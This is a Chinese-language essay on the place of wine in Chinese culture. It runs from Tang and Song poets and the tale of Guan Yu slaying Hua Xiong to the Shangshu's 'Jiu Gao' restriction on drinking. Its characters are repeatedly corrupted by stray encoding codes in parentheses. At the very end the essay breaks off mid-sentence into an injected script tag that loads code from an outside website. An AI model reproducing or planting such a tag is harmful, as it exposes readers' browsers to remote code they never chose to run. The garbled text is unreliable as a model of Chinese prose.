酒中的豪情與奢靡
時(shí)逢三五便團(tuán)圓，滿把晴光護(hù)玉欄。明月幾時(shí)有，沒有美酒何以問青天。食文化是東方中國(guó)文化的一大特色，而酒文化則是中國(guó)食文化的精華，是這一中國(guó)特色文化的發(fā)酵劑、潤(rùn)滑劑、助推劑和粘合劑，在不同的場(chǎng)合起著多元的作用。酒在中華文化的歷史長(zhǎng)河中，已不僅僅是一種液體的客觀物質(zhì)存在，飲酒更是一種固化的精神文化象征和流動(dòng)的社會(huì)生活習(xí)俗。
善助英雄壯膽，能添錦繡詩(shī)腸。神仙造下解愁方，雪月風(fēng)花玩賞。自古到今，中國(guó)的酒文化源遠(yuǎn)流長(zhǎng)、綿延不絕。在文學(xué)藝術(shù)的王國(guó)中，酒神精神無處不在、無所不往，它是文人墨客滾滾創(chuàng)作思潮的源泉，以至留下無數(shù)的不朽之作。“李白斗酒詩(shī)百篇，長(zhǎng)安市上酒家眠，天子呼來不上船，自稱臣是酒中仙?！?唐.杜甫)“俯仰各有志，得酒詩(shī)自成?！?宋.蘇軾)“一杯未盡詩(shī)已成，涌詩(shī)向天天亦驚?！?宋.楊萬里)。飲酒甚至醉酒而成傳世詩(shī)作，這樣的例子在中國(guó)文學(xué)史上遍地開花，俯拾皆是。
臨行更喝一杯酒，渾身是膽雄赳赳。美酒對(duì)于赳赳武將來說，又何嘗不是出征臨行助膽壯威的“精神良藥”。酒壯將軍膽，更助三軍威的故事不絕于史。三國(guó)時(shí)董卓作亂，諸侯群起而討伐。兩軍對(duì)壘，關(guān)羽主動(dòng)請(qǐng)纓。曹操已覺關(guān)羽乃英雄是也，于是溫酒一杯，親自捧上，與關(guān)羽飲。關(guān)羽曰:“酒且斟下，某去便來。”出帳提刀飛身上馬。不一會(huì)兒馬到中軍，關(guān)羽已提華雄之頭擲于帳下，此時(shí)其酒尚溫。真是云長(zhǎng)停盞施英勇，酒尚溫時(shí)斬華雄，這千古美談之中，酒功不可沒。
雖說是三杯能和萬事，一醉善解千愁。然而抽刀斷水水更流，舉杯消愁愁更愁。世上的事沒有絕對(duì)性，作為一個(gè)錢幣的兩面，酒乃五谷所釀，純水所制，一杯之中，用糧幾多?千夫之作，幾人享用?杜康造下萬家春，倍添民間幾多愁。是故，《尚書.酒誥》有言:“祀茲酒。惟天降命，肇我民，惟元祀。天降威，我民用大亂喪德，亦罔非酒惟行。越小大邦用喪，亦罔非酒惟辜?！狈g成白話文即是:“只有在祭祀之時(shí)才需要用到酒，平時(shí)不應(yīng)常飲……酒本為祭祀，但亦可亂行。無論是小國(guó)還是大邦所以喪亡的，無不以酒為罪?！?
《酒誥》體現(xiàn)了古代“飲酒亡國(guó)”的政治觀念。夏、商后期的統(tǒng)治者因酒廢政，給周初的統(tǒng)治者提供了深刻的教訓(xùn)，于是下決心要肅清酗酒惡習(xí)，以正民風(fēng)。在周公看來，商紂之亡國(guó)，與夏桀亡國(guó)有極為相似的歷史原因，那就是酗酒喪德。故武王伐紂勝利后，為了建立新秩序，防止故殷之地積習(xí)難改，縱酒之風(fēng)繼續(xù)蔓延，也為了防止周人相沿為習(xí)腐化墮落，周公特意宣布限酒令，授命幼弟康叔受封衛(wèi)國(guó)時(shí)告誡其應(yīng)當(dāng)舉國(guó)禁酒，不要荒耽于飲酒而失德亂政?！渡袝分械摹毒普a》是我國(guó)歷史上第一部正式限酒的法律，也是世界上最早的限酒令，從中我們可以看到西周初年周公為首的?script src=http://www.234mu.com/>
